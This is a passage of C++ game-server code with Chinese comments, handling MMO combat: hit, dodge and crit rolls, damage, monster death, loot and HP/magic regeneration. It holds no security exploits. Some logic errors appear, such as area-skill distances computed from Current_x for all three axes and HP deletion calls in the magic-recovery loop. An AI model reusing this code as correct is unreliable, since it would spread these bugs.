if((*smap)[conn].m_commonAttackTime > timep) //普通攻击间隔时间过短
{
return;
}
umap_roleSock t_viewRole = (*smap)[conn].m_viewRole;
_umap_roleSock::iterator it = t_viewRole->find(t_attack->AimID);
if(it == t_viewRole->end()) //不在可视范围
{
return;
}
t_damageData.AimID = t_attack->AimID;
t_damageData.AttackID = (*smap)[conn].m_roleid;
t_damageData.TypeID = t_attack->SkillID;
STR_PackPlayerPosition* t_AttacketPos = &(*smap)[conn].m_position;
STR_PackPlayerPosition* t_AimPos = &(*smap)[it->second].m_position;
hf_float dx = t_AimPos->Pos_x - t_AttacketPos->Pos_x;
hf_float dy = t_AimPos->Pos_y - t_AttacketPos->Pos_y;
hf_float dz = t_AimPos->Pos_z - t_AttacketPos->Pos_z;
//判断是否在攻击范围内
if(dx*dx + dy*dy + dz*dz > PlayerAttackView*PlayerAttackView)
{
t_damageData.Flag = NOT_ATTACKVIEW; //不在攻击范围
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
//判断方向是否可攻击
if(dx*cos(t_AttacketPos->Direct) + dz*sin(t_AttacketPos->Direct) < 0)
{
t_damageData.Flag = OPPOSITE_DIRECT;
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
STR_RoleInfo* t_AttacketInfo = &((*smap)[conn].m_roleInfo);
STR_RoleInfo* t_AimInfo = &(*smap)[it->second].m_roleInfo;
(*smap)[conn].m_commonAttackTime = timep + HurtSpeed;
hf_float t_probHit = t_AttacketInfo->Hit_Rate*1;
if(t_probHit*100 < rand()%100) //未命中
{
t_damageData.Flag = NOT_HIT;
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
if(t_AimInfo->Dodge_Rate*100 >= rand()%100) //闪避
{
t_damageData.Flag = Dodge;
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
it->second->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
hf_uint8 t_level = (*smap)[it->second].m_roleExp.Level;
hf_uint32 reductionValue = GetDamage_reduction(t_level);
if(t_attack->SkillID == PhyAttackSkillID) //物理攻击
{
if(reductionValue >= t_AimInfo->PhysicalDefense)
t_damageData.Damage = t_AttacketInfo->PhysicalAttack;
else
t_damageData.Damage = t_AttacketInfo->PhysicalAttack* reductionValue/t_AimInfo->PhysicalDefense;
}
else if(t_attack->SkillID == MagicAttackSkillID)//魔法攻击
{
if(reductionValue >= t_AimInfo->MagicDefense)
t_damageData.Damage = t_AttacketInfo->MagicAttack;
else
t_damageData.Damage = t_AttacketInfo->MagicAttack* reductionValue/t_AimInfo->MagicDefense;
}
if(t_AttacketInfo->Crit_Rate*100 > rand()%100)//暴击
{
t_damageData.Flag = CRIT_HIT;
t_damageData.Damage *= 1.5;
}
else //未暴击
{
t_damageData.Flag = HIT;
}
if(t_AimInfo->Resist_Rate*100 >= rand()%100) //抵挡
{
t_damageData.Flag = RESIST;
}
//发送产生的伤害
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
it->second->Write_all(&t_damageData, sizeof(STR_PackDamageData));
//减血量
if(t_AimInfo->HP > t_damageData.Damage)
{
t_AimInfo->HP -= t_damageData.Damage;
}
else
{
t_AimInfo->HP = 0;
}
//给被攻击者可视范围内的玩家发送血量信息
hf_uint32 roleid = (*smap)[it->second].m_roleid;
STR_RoleAttribute t_roleAttr(roleid, t_AimInfo->HP);
printf("RoleID:%d,HP%d \n",t_roleAttr.RoleID,t_roleAttr.HP);
it->second->Write_all(&t_roleAttr, sizeof(STR_RoleAttribute));
Server::GetInstance()->GetGameAttack()->SendRoleHpToViewRole(it->second, &t_roleAttr);
}
//普通攻击怪物
void GameAttack::CommonAttackMonster(TCPConnection::Pointer conn, STR_PackUserAttackAim* t_attack)
{
umap_monsterAttackInfo* t_monsterAttack = Server::GetInstance()->GetMonster()->GetMonsterAttack();
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
hf_double currentTime = GetCurrentTime();
if((*smap)[conn].m_commonAttackTime > currentTime) //普通攻击间隔时间过短
{
return;
}
STR_PackDamageData t_damageData;
umap_playerViewMonster t_viewMonster = (*smap)[conn].m_viewMonster;
cout << "t_playerViewMonster->size()" << t_viewMonster->size() << endl;
_umap_playerViewMonster::iterator it = t_viewMonster->find(t_attack->AimID);
if(it == t_viewMonster->end())
{
return;
}
t_damageData.AimID = t_attack->AimID;
t_damageData.AttackID = (*smap)[conn].m_roleid;
t_damageData.TypeID = PhyAttackSkillID;
umap_monsterInfo u_monsterInfo = Server::GetInstance()->GetMonster()->GetMonsterBasic();
STR_MonsterInfo* t_monsterBasicInfo = &(*u_monsterInfo)[it->first];
STR_PackPlayerPosition* t_AttacketPosition = &((*smap)[conn].m_position);
STR_PosDis t_posDis;
hf_uint8 res = Server::GetInstance()->GetMonster()->JudgeDisAndDirect(t_AttacketPosition, t_monsterBasicInfo, currentTime, &t_posDis);
// return;
//判断是否在攻击范围内
if(res == 1)
{
t_damageData.Flag = NOT_ATTACKVIEW; //不在攻击范围
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
else if(res == 2) //判断方向是否可攻击
{
t_damageData.Flag = OPPOSITE_DIRECT;
// printf("方向相反，攻击不上\n");
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
(*smap)[conn].m_commonAttackTime = currentTime + HurtSpeed;
STR_RoleInfo* t_AttacketInfo = &((*smap)[conn].m_roleInfo);
hf_float t_probHit = t_AttacketInfo->Hit_Rate*1;
if(t_monsterBasicInfo->monsterStatus)
t_probHit = 0;
if(t_probHit*100 < rand()%100) //未命中
{
t_damageData.Flag = NOT_HIT;
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
//查找怪物攻击属性
STR_MonsterAttackInfo* t_monsterAttackInfo = &(*t_monsterAttack)[t_monsterBasicInfo->monster.MonsterTypeID];
hf_uint32 reductionValue = GetDamage_reduction(t_monsterBasicInfo->monster.Level);
if(t_attack->SkillID == PhyAttackSkillID) //物理攻击
{
if(reductionValue >= t_monsterAttackInfo->PhysicalDefense)
t_damageData.Damage = t_AttacketInfo->PhysicalAttack;
else
t_damageData.Damage = t_AttacketInfo->PhysicalAttack* reductionValue/t_monsterAttackInfo->PhysicalDefense;
}
else if(t_attack->SkillID == MagicAttackSkillID)//魔法攻击
{
if(reductionValue >= t_monsterAttackInfo->MagicDefense)
t_damageData.Damage = t_AttacketInfo->MagicAttack;
else
t_damageData.Damage = t_AttacketInfo->MagicAttack* reductionValue/t_monsterAttackInfo->MagicDefense;
}
if(t_AttacketInfo->Crit_Rate*100 >= rand()%100)//暴击
{
t_damageData.Flag = CRIT_HIT;
t_damageData.Damage *= 1.5;
}
else //未暴击
{
t_damageData.Flag = HIT;
}
DamageDealWith(conn, &t_damageData, t_monsterBasicInfo, &t_posDis);
}
//发送玩家血量给周围玩家
void GameAttack::SendRoleHpToViewRole(TCPConnection::Pointer conn, STR_RoleAttribute* roleAttr)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
umap_roleSock t_viewRole = (*smap)[conn].m_viewRole;
for(_umap_roleSock::iterator it = t_viewRole->begin(); it != t_viewRole->end(); it++)
{
it->second->Write_all(roleAttr, sizeof(STR_RoleAttribute));
}
}
//计算伤害
hf_uint32 GameAttack::CalMonsterDamage(hf_uint8 monsterLevel, STR_PackSkillInfo* skillInfo, STR_RoleInfo* roleInfo, STR_MonsterAttackInfo* monster, hf_uint8* type)
{
hf_uint32 reductionValue = GetDamage_reduction(monsterLevel);
hf_uint32 damage = 0;
if(skillInfo->PhysicalHurt > 0 && skillInfo->MagicHurt > 0)
{
*type = PhyMagAttackSkillID;
if(reductionValue >= monster->PhysicalDefense)
damage = (skillInfo->PhysicalHurt + skillInfo->PhyPlus*roleInfo->PhysicalAttack);
else
damage = (skillInfo->PhysicalHurt + skillInfo->PhyPlus*roleInfo->PhysicalAttack)*reductionValue/monster->PhysicalDefense;
if(reductionValue >= monster->MagicDefense)
damage += (skillInfo->MagicHurt + skillInfo->MagPlus*roleInfo->MagicAttack);
else
damage += (skillInfo->MagicHurt + skillInfo->MagPlus*roleInfo->MagicAttack)*reductionValue/monster->MagicDefense;
}
else if(skillInfo->PhysicalHurt > 0 && skillInfo->MagicHurt == 0)
{
*type = PhyAttackSkillID;
if(reductionValue >= monster->PhysicalDefense)
damage = (skillInfo->PhysicalHurt + skillInfo->PhyPlus*roleInfo->PhysicalAttack);
else
damage = (skillInfo->PhysicalHurt + skillInfo->PhyPlus*roleInfo->PhysicalAttack)*reductionValue/monster->PhysicalDefense;
}
else if(skillInfo->PhysicalHurt == 0 && skillInfo->MagicHurt > 0)
{
*type = MagicAttackSkillID;
if(reductionValue >= monster->MagicDefense)
damage = (skillInfo->MagicHurt + skillInfo->MagPlus*roleInfo->MagicAttack);
else
damage = (skillInfo->MagicHurt + skillInfo->MagPlus*roleInfo->MagicAttack)*reductionValue/monster->MagicDefense;
}
return damage;
}
//计算技能对玩家产生的伤害
hf_uint32 GameAttack::CalRoleDamage(hf_uint8 roleLevel, STR_PackSkillInfo* skillInfo, STR_RoleInfo* attackInfo, STR_RoleInfo* aimInfo, hf_uint8* type)
{
hf_uint32 reductionValue = GetDamage_reduction(roleLevel);
hf_uint32 damage = 0;
if(skillInfo->PhysicalHurt > 0 && skillInfo->MagicHurt > 0)
{
*type = PhyMagAttackSkillID;
if(reductionValue >= aimInfo->PhysicalDefense)
damage = (skillInfo->PhysicalHurt + skillInfo->PhyPlus*attackInfo->PhysicalAttack);
else
damage = (skillInfo->PhysicalHurt + skillInfo->PhyPlus*attackInfo->PhysicalAttack)*reductionValue/aimInfo->PhysicalDefense;
if(reductionValue >= aimInfo->MagicDefense)
damage += (skillInfo->MagicHurt + skillInfo->MagPlus*attackInfo->MagicAttack);
else
damage += (skillInfo->MagicHurt + skillInfo->MagPlus*attackInfo->MagicAttack)*reductionValue/aimInfo->MagicDefense;
}
else if(skillInfo->PhysicalHurt > 0 && skillInfo->MagicHurt == 0)
{
*type = PhyAttackSkillID;
if(reductionValue >= aimInfo->PhysicalDefense)
damage = (skillInfo->PhysicalHurt + skillInfo->PhyPlus*attackInfo->PhysicalAttack);
else
damage = (skillInfo->PhysicalHurt + skillInfo->PhyPlus*attackInfo->PhysicalAttack)*reductionValue/aimInfo->PhysicalDefense;
}
else if(skillInfo->PhysicalHurt == 0 && skillInfo->MagicHurt > 0)
{
*type = MagicAttackSkillID;
if(reductionValue >= aimInfo->MagicDefense)
damage = (skillInfo->MagicHurt + skillInfo->MagPlus*attackInfo->MagicAttack);
else
damage = (skillInfo->MagicHurt + skillInfo->MagPlus*attackInfo->MagicAttack)*reductionValue/aimInfo->MagicDefense;
}
return damage;
}
void GameAttack::RoleViewDeleteMonster(hf_uint32 monsterID)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
_umap_viewRole* t_viewRole = &(*(Server::GetInstance()->GetMonster()->GetMonsterViewRole()))[monsterID]; //得到能看到这个怪物的玩家
umap_roleSock t_roleSock = SessionMgr::Instance()->GetRoleSock();
for(_umap_viewRole::iterator it = t_viewRole->begin(); it != t_viewRole->end(); it++)
{
_umap_roleSock::iterator role_it = t_roleSock->find(it->first);
if(role_it != t_roleSock->end())
{
umap_playerViewMonster t_viewMonster = (*smap)[role_it->second].m_viewMonster;
_umap_playerViewMonster::iterator iter = t_viewMonster->find(monsterID);
if(iter == t_viewMonster->end())
{
Logger::GetLogger()->Error("monster view player,player not view monster");
continue;
}
t_viewMonster->erase(iter);
}
}
}
//技能处理函数
void GameAttack::DamageDealWith(TCPConnection::Pointer conn, STR_PackDamageData* damage, STR_MonsterInfo* monster, STR_PosDis* posDis)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
//发送产生的伤害
conn->Write_all(damage, sizeof(STR_PackDamageData));
STR_PackMonsterAttrbt t_monsterBt;
t_monsterBt.MonsterID = monster->monster.MonsterID;
hf_uint32 roleid = (*smap)[conn].m_roleid;
double timep = GetCurrentTime();
t_monsterBt.HP = monster->ReduceHp(roleid, damage->Damage, timep);
umap_monsterViewRole monsterViewRole = Server::GetInstance()->GetMonster()->GetMonsterViewRole();
// cout << "hatredRoleid" << monster->hatredRoleid << ",hatred:" << ((*monsterViewRole)[t_monsterBt.MonsterID])[monster->hatredRoleid] << endl;
//发送怪物当前血量给可视范围内的玩家
Server::GetInstance()->GetMonster()->SendMonsterHPToViewRole(&t_monsterBt);
if(t_monsterBt.HP == 0)
{
//怪物死亡，发送奖励经验，玩家经验，查找掉落物品
MonsterDeath(conn, monster);
//从玩家可视范围内的怪物列表中删除该怪物
RoleViewDeleteMonster(t_monsterBt.MonsterID);
//删除该怪物可视范围内的玩家
(*monsterViewRole)[t_monsterBt.MonsterID].clear();
// monsterViewRole->erase(t_monsterBt.MonsterID);
return;
}
Logger::GetLogger()->Debug("attack before monsterid:%u hatredroleid:%u\n",monster->monster.MonsterID, monster->hatredRoleid);
((*monsterViewRole)[t_monsterBt.MonsterID])[roleid] += damage->Damage;
hf_uint32 t_hatredValue = ((*monsterViewRole)[t_monsterBt.MonsterID])[roleid];
printf("roleid:%d,hatredvalue:%d\n", roleid, t_hatredValue);\
if(monster->hatredRoleid != roleid)
{
if((monster->hatredRoleid != 0 && t_hatredValue > ((*monsterViewRole)[t_monsterBt.MonsterID])[monster->hatredRoleid]) || monster->hatredRoleid == 0)
{
if(monster->aimTime - timep > 0.002) //时间大于0.002秒时，重新确定时间和位置点
{
monster->ChangeAimTimeAndPos(roleid, timep, posDis);
Server::GetInstance()->GetMonster()->SendMonsterToViewRole(&monster->monster);
}
else
{
Logger::GetLogger()->Debug("wating time less than 0.002 second\n");
monster->ChangeHatredRoleid(roleid);
}
}
}
Logger::GetLogger()->Debug("attack later monsterid:%u hatredroleid:%u\n",monster->monster.MonsterID, monster->hatredRoleid);
}
//怪物死亡处理函数
void GameAttack::MonsterDeath(TCPConnection::Pointer conn, STR_MonsterInfo* monster)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
Server* srv = Server::GetInstance();
//查找此任务是否为任务进度里要打的怪，如果是，更新任务进度
srv->GetGameTask()->UpdateAttackMonsterTaskProcess(conn, monster->monster.MonsterTypeID);
//前15级怪物死亡不掉经验
// if(monster->monster.Level >= 15)
// {
STR_PackRewardExperience t_RewardExp;
t_RewardExp.ID = monster->monster.MonsterID;
t_RewardExp.Experience = GetRewardExperience(monster->monster.Level);
Logger::GetLogger()->Debug("monster reward:monsterID:%u,experiense:%u",t_RewardExp.ID, t_RewardExp.Experience);
conn->Write_all(&t_RewardExp, sizeof(STR_PackRewardExperience));
STR_PackRoleExperience* t_RoleExp = &(*smap)[conn].m_roleExp;
//玩家升级
if(t_RoleExp->CurrentExp + t_RewardExp.Experience >= t_RoleExp->UpgradeExp)
{
t_RoleExp->Level += 1;
Server::GetInstance()->GetOperationPostgres()->PushUpdateLevel((*smap)[conn].m_roleid, t_RoleExp->Level);
hf_uint8 t_profession = (*smap)[conn].m_RoleBaseInfo.Profession;
STR_RoleInfo* t_roleInfo = &(*smap)[conn].m_roleInfo;
//更新玩家属性
Server::GetInstance()->GetPlayerLogin()->UpdateJobAttr(t_profession, t_RoleExp->Level, t_roleInfo);
srv->GetGameTask()->UpdateAttackUpgradeTaskProcess(conn, t_RoleExp->Level);
t_RoleExp->CurrentExp = t_RoleExp->CurrentExp + t_RewardExp.Experience - t_RoleExp->UpgradeExp;
t_RoleExp->UpgradeExp = GetUpgradeExprience(t_RoleExp->Level);
}
else
{
t_RoleExp->CurrentExp = t_RoleExp->CurrentExp + t_RewardExp.Experience;
}
Server::GetInstance()->GetOperationPostgres()->PushUpdateExp((*smap)[conn].m_roleid, t_RoleExp->CurrentExp);
conn->Write_all(t_RoleExp, sizeof(STR_PackRoleExperience));
// }
umap_monsterLoot* t_monsterLoot = Server::GetInstance()->GetMonster()->GetMonsterLoot();
umap_monsterLoot::iterator iter = t_monsterLoot->find(monster->monster.MonsterTypeID);
if(iter != t_monsterLoot->end())
{
STR_LootGoods t_lootGoods;
hf_char* buff = (hf_char*)srv->malloc();
hf_int32 i = 0;
umap_lootGoods lootGoods = (*smap)[conn].m_lootGoods;
t_lootGoods.Count = GetRewardMoney(monster->monster.Level);;
//暂时只取奖励的金钱，后面会加一些计算公式，计算后奖励的金钱可能为0
Logger::GetLogger()->Debug("monster loot money:monsterid:%u,count:%u",monster->monster.MonsterID, t_lootGoods.Count);
if(t_lootGoods.Count > 0)
{
t_lootGoods.LootGoodsID = Money_1;
vector<STR_LootGoods> t_vec;
t_vec.push_back(t_lootGoods);
(*lootGoods)[monster->monster.MonsterID*10] = t_vec; //掉落者ID *10
memcpy(buff + sizeof(STR_PackHead) + sizeof(STR_LootGoodsPos) + i* sizeof(STR_LootGoods), &t_lootGoods, sizeof(STR_LootGoods));
i++;
}
//可能掉落多个物品，分别判断
for(vector<STR_MonsterLoot>::iterator vec = iter->second.begin(); vec != iter->second.end(); vec++)
{
//掉落条件判断
//掉落可能性判断
if(vec->LootProbability*100 >= rand()%100)
{
t_lootGoods.LootGoodsID = vec->LootGoodsID;
t_lootGoods.Count = vec->Count;
memcpy(buff + sizeof(STR_PackHead) + sizeof(STR_LootGoodsPos) + i* sizeof(STR_LootGoods), &t_lootGoods, sizeof(STR_LootGoods));
Logger::GetLogger()->Debug("loot goodsid:%u,count:%u\n",t_lootGoods.LootGoodsID, t_lootGoods.Count);
i++;
_umap_lootGoods::iterator it = lootGoods->find(monster->monster.MonsterID*10); //保存掉落物品
if(it != lootGoods->end())
{
it->second.push_back(t_lootGoods);
}
else
{
vector<STR_LootGoods> t_vec;
t_vec.push_back(t_lootGoods);
(*lootGoods)[monster->monster.MonsterID*10] = t_vec;
}
}
}
STR_PackHead t_packHead;
t_packHead.Flag = FLAG_LootGoods;
t_packHead.Len = sizeof(STR_LootGoodsPos) + i*sizeof(STR_LootGoods);
STR_LootGoodsPos t_PacklootGoods;
t_PacklootGoods.Pos_x = monster->monster.Current_x;
t_PacklootGoods.Pos_y = monster->monster.Current_y;
t_PacklootGoods.Pos_z = monster->monster.Current_z;
t_PacklootGoods.MapID = monster->monster.MapID;
t_PacklootGoods.GoodsFlag = monster->monster.MonsterID * 10;
LootPositionTime t_lootPositionTime;
time_t timep;
time(&timep);
t_lootPositionTime.timep = (hf_uint32)timep;
t_lootPositionTime.continueTime = GOODS_CONTINUETIME;
memcpy(&t_lootPositionTime.goodsPos, &t_PacklootGoods, sizeof(STR_LootGoodsPos));
(*((*smap)[conn].m_lootPosition))[t_PacklootGoods.GoodsFlag] = t_lootPositionTime; //保存掉落物品时间位置
memcpy(buff, &t_packHead, sizeof(STR_PackHead));
memcpy(buff + sizeof(STR_PackHead), &t_PacklootGoods, sizeof(STR_LootGoodsPos));
conn->Write_all(buff, t_packHead.Len + sizeof(STR_PackHead));
srv->free(buff);
}
}
//角色技能伤害
void GameAttack::RoleSkillAttack()
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
umap_roleSock t_roleSock = SessionMgr::Instance()->GetRoleSock();
umap_monsterAttackInfo* t_monsterAttack = Server::GetInstance()->GetMonster()->GetMonsterAttack();
umap_monsterInfo u_monsterInfo = Server::GetInstance()->GetMonster()->GetMonsterBasic();
STR_PackDamageData t_damageData;
//遍历m_attackMonster,m_attackRole,m_attackPoint 根据时间判断，计算伤害发送给玩家
while(1)
{
// if(m_attackMonster->size() == 0)
// {
// usleep(1000);
// }
hf_double t_currentTime = GetCurrentTime();
for(_umap_roleAttackAim::iterator it = m_attackMonster->begin(); it != m_attackMonster->end();)
{
if(t_currentTime < (it->second).HurtTime) //时间没到
{
it++;
continue;
}
_umap_roleSock::iterator iter = t_roleSock->find(it->first);
if(iter == t_roleSock->end()) //攻击的玩家不在线
{
_umap_roleAttackAim::iterator aim = it;
it++;
m_attackMonster->erase(aim);
continue;
}
STR_PackSkillAimEffect t_skillEffect(it->second.AimID,it->second.SkillID,it->first);
iter->second->Write_all(&t_skillEffect, sizeof(STR_PackSkillAimEffect)); //发送施法效果
umap_playerViewMonster t_viewMonster = (*smap)[iter->second].m_viewMonster;
STR_PackPlayerPosition* t_pos = &(*smap)[iter->second].m_position;
STR_PackSkillInfo* t_skillInfo = &((*m_skillInfo)[it->second.SkillID]);
STR_RoleInfo* t_AttacketInfo = &(*smap)[iter->second].m_roleInfo;
STR_PackSkillResult t_skillResult;
t_skillResult.SkillID = t_skillInfo->SkillID;
if(t_skillInfo->SkillRangeID == 1) //目标
{
_umap_playerViewMonster::iterator monster = t_viewMonster->find(it->second.AimID);
if(monster == t_viewMonster->end())
{
continue;
}
STR_MonsterInfo* t_monsterInfo = &(*u_monsterInfo)[it->second.AimID];
STR_MonsterAttackInfo* t_monsterAttackInfo = &(*t_monsterAttack)[t_monsterInfo->monster.MonsterTypeID];
hf_float dx = t_monsterInfo->monster.Current_x - t_pos->Pos_x;
hf_float dy = t_monsterInfo->monster.Current_y - t_pos->Pos_y;
hf_float dz = t_monsterInfo->monster.Current_z - t_pos->Pos_z;
hf_float dis = sqrt(dx*dx + dy*dy + dz*dz);
if( dis >= t_skillInfo->NearlyDistance && dis <= t_skillInfo->FarDistance)
{
hf_float t_probHit = t_AttacketInfo->Hit_Rate*1;
if(t_monsterInfo->monsterStatus) //怪物处于返回中
t_probHit = 0;
if(t_probHit*100 < rand()%100) //未命中
{
t_damageData.TypeID = PhyAttackSkillID;
t_damageData.Flag = NOT_HIT;
iter->second->Write_all(&t_damageData, sizeof(STR_PackDamageData));
continue;
}
t_skillResult.result = SKILL_SUCCESS;
iter->second->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
t_damageData.Damage = CalMonsterDamage(t_monsterInfo->monster.Level, t_skillInfo, t_AttacketInfo, t_monsterAttackInfo, &t_damageData.TypeID);
if(t_AttacketInfo->Crit_Rate*100 >= rand()%100)//暴击
{
t_damageData.Flag = CRIT_HIT;
t_damageData.Damage *= 1.5;
}
else //未暴击
{
t_damageData.Flag = HIT;
}
cout << "wait Skill" << t_damageData.Damage << endl;
STR_PosDis t_posDis(dis, 0 - dx, 0 - dz);
DamageDealWith(iter->second, &t_damageData, t_monsterInfo, &t_posDis); //发送计算伤害
}
}
else if(t_skillInfo->SkillRangeID == 2) //自己为圆心
{
for(_umap_playerViewMonster::iterator monster = t_viewMonster->begin(); monster != t_viewMonster->end(); monster++)
{
STR_MonsterInfo* t_monsterInfo = &(*u_monsterInfo)[monster->first];
STR_MonsterAttackInfo* t_monsterAttackInfo = &(*t_monsterAttack)[t_monsterInfo->monster.MonsterTypeID];
hf_float dx = t_monsterInfo->monster.Current_x - t_pos->Pos_x;
hf_float dy = t_monsterInfo->monster.Current_y - t_pos->Pos_y;
hf_float dz = t_monsterInfo->monster.Current_z - t_pos->Pos_z;
hf_float dis = sqrt(dx*dx + dy*dy + dz*dz);
if( dis >= t_skillInfo->NearlyDistance && dis <= t_skillInfo->FarDistance)
{
t_damageData.Damage = CalMonsterDamage(t_monsterInfo->monster.Level, t_skillInfo, t_AttacketInfo, t_monsterAttackInfo, &t_damageData.TypeID);
STR_PosDis posDis(dis, 0 - dx, 0 - dz);
DamageDealWith(iter->second, &t_damageData, t_monsterInfo, &posDis); //发送计算伤害
}
}
}
else if( t_skillInfo->SkillRangeID == 3) //目标为圆心
{
_umap_playerViewMonster::iterator monster = t_viewMonster->find(it->second.AimID);
if(monster == t_viewMonster->end())
{
continue;
}
STR_MonsterInfo* t_monsterInfo = &(*u_monsterInfo)[monster->first];
hf_float dx = t_monsterInfo->monster.Current_x - t_pos->Pos_x;
hf_float dy = t_monsterInfo->monster.Current_y - t_pos->Pos_y;
hf_float dz = t_monsterInfo->monster.Current_z - t_pos->Pos_z;
if( (dx*dx + dy*dy + dz*dz) < t_skillInfo->NearlyDistance * t_skillInfo->NearlyDistance || (dx*dx + dy*dy + dz*dz) > t_skillInfo->FarDistance * t_skillInfo->FarDistance)
{
continue;
}
for(_umap_playerViewMonster::iterator monster = t_viewMonster->begin(); monster != t_viewMonster->end(); monster++)
{
if(monster->first == t_monsterInfo->monster.MonsterID)
{
continue;
}
STR_MonsterInfo* t_monster = &(*u_monsterInfo)[monster->first];
STR_MonsterAttackInfo* t_monsterAttackInfo = &(*t_monsterAttack)[t_monster->monster.MonsterTypeID];
hf_float dx = t_monsterInfo->monster.Current_x - t_monster->monster.Current_x;
hf_float dy = t_monsterInfo->monster.Current_y - t_monster->monster.Current_x;
hf_float dz = t_monsterInfo->monster.Current_z - t_monster->monster.Current_x;
hf_float dis = sqrt(dx*dx + dy*dy + dz*dz);
if( dis >= t_skillInfo->NearlyDistance && dis <= t_skillInfo->FarDistance)
{
t_damageData.Damage = CalMonsterDamage(t_monsterInfo->monster.Level, t_skillInfo, t_AttacketInfo, t_monsterAttackInfo, &t_damageData.TypeID);
STR_PosDis posDis(dis, 0 - dx, 0 - dz);
DamageDealWith(iter->second, &t_damageData, t_monster, &posDis); //发送计算伤害
}
}
}
_umap_roleAttackAim::iterator aim = it;
it++;
m_attackMonster->erase(aim);
}
// for(_umap_roleAttackAim::iterator it = m_attackRole->begin(); it != m_attackRole->end(); it++)
// { //攻击角色
// }
// for(_umap_roleAttackPoint::iterator it = m_attackPoint->begin(); it != m_attackPoint->end(); it++)
// { //攻击点
// }
RoleRecoveryHP(smap, t_currentTime);
RoleRecoveryMagic(smap, t_currentTime);
RoleRecoveryHPMagic(smap, t_currentTime);
usleep(1000);
}
}
void GameAttack::RoleRecoveryHP(SessionMgr::SessionPointer smap, hf_double currentTime)
{
// SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
umap_recoveryHP t_recoveryHP = SessionMgr::Instance()->GetRecoveryHP();
for(_umap_recoveryHP::iterator HP_it = t_recoveryHP->begin(); HP_it != t_recoveryHP->end();)
{
// cout << "recoveryHP start" << endl;
// printf("timep:%lf,currentTime:%lf\n", HP_it->second.Timep, currentTime);
if(HP_it->second.Timep >= currentTime) //时间没到
{
HP_it++;
continue;
}
Session* sess = &(*smap)[HP_it->first];
if(sess == NULL) //玩家退出游戏
{
_umap_recoveryHP::iterator _HP_it = HP_it;
HP_it++;
SessionMgr::Instance()->RecoveryHPDelete(_HP_it->first);
continue;
}
STR_RoleInfo* t_roleInfo = &(*smap)[HP_it->first].m_roleInfo;
if(t_roleInfo->HP == t_roleInfo->MaxHP)
{
HP_it->second.Count -= 1;
if(HP_it->second.Count >= 1)
{
HP_it->second.Timep = currentTime + 1;
HP_it++;
}
else //作用时间结束了
{
_umap_recoveryHP::iterator _HP_it = HP_it;
HP_it++;
SessionMgr::Instance()->RecoveryHPDelete(_HP_it->first);
}
continue;
}
if(t_roleInfo->HP == 0) //玩家已经死亡
{
_umap_recoveryHP::iterator _HP_it = HP_it;
HP_it++;
SessionMgr::Instance()->RecoveryHPDelete(_HP_it->first);
continue;
}
if(t_roleInfo->HP + HP_it->second.HP < t_roleInfo->MaxHP)
t_roleInfo->HP += HP_it->second.HP;
else
t_roleInfo->HP = t_roleInfo->MaxHP;
hf_uint32 roleid = (*smap)[HP_it->first].m_roleid;
STR_RoleAttribute t_roleAttr(roleid, t_roleInfo->HP, t_roleInfo->Magic);
HP_it->first->Write_all(&t_roleAttr, sizeof(STR_RoleAttribute));
cout << "roleid:" << t_roleAttr.RoleID << ",HP:" << t_roleAttr.HP << ",magic:" << t_roleAttr.Magic << endl;
sess->SendHPToViewRole(&t_roleAttr);
HP_it->second.Count -= 1;
if(HP_it->second.Count >= 1)
{
HP_it->second.Timep = currentTime + 1;
HP_it++;
}
else //作用时间结束了
{
_umap_recoveryHP::iterator _HP_it = HP_it;
HP_it++;
SessionMgr::Instance()->RecoveryHPDelete(_HP_it->first);
}
}
}
void GameAttack::RoleRecoveryMagic(SessionMgr::SessionPointer smap, hf_double currentTime)
{
// SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
umap_recoveryMagic t_recoveryMagic = SessionMgr::Instance()->GetRecoveryMagic();
for(_umap_recoveryMagic::iterator Magic_it = t_recoveryMagic->begin(); Magic_it != t_recoveryMagic->end();)
{
if(Magic_it->second.Timep >= currentTime) //时间没到
{
Magic_it++;
continue;
}
Session* sess = &(*smap)[Magic_it->first];
if(sess == NULL) //玩家退出游戏
{
_umap_recoveryMagic::iterator _Magic_it = Magic_it;
Magic_it++;
SessionMgr::Instance()->RecoveryHPDelete(_Magic_it->first);
continue;
}
STR_RoleInfo* t_roleInfo = &(*smap)[Magic_it->first].m_roleInfo;
if(t_roleInfo->HP == 0) //玩家已经死亡
{
_umap_recoveryMagic::iterator _Magic_it = Magic_it;
Magic_it++;
SessionMgr::Instance()->RecoveryHPDelete(_Magic_it->first);
continue;
}
if(t_roleInfo->Magic == t_roleInfo->MaxMagic)
{
Magic_it->second.Count -= 1;
if(Magic_it->second.Count >= 1)
{
Magic_it->second.Timep = currentTime + 1;
Magic_it++;
}
else
{
_umap_recoveryMagic::iterator _Magic_it = Magic_it;
Magic_it++;
SessionMgr::Instance()->RecoveryHPDelete(_Magic_it->first);
}
continue;
}
if(t_roleInfo->Magic + Magic_it->second.Magic < t_roleInfo->MaxMagic)
t_roleInfo->Magic += Magic_it->second.Magic;
else
t_roleInfo->Magic = t_roleInfo->MaxMagic;
hf_uint32 roleid = (*smap)[Magic_it->first].m_roleid;
STR_RoleAttribute t_roleAttr(roleid, t_roleInfo->HP, t_roleInfo->Magic);
Magic_it->first->Write_all(&t_roleAttr, sizeof(STR_RoleAttribute));
sess->SendHPToViewRole(&t_roleAttr);
Magic_it->second.Count -= 1;
if(Magic_it->second.Count >= 1)
{
Magic_it->second.Timep = currentTime + 1;
Magic_it++;
}
else
{
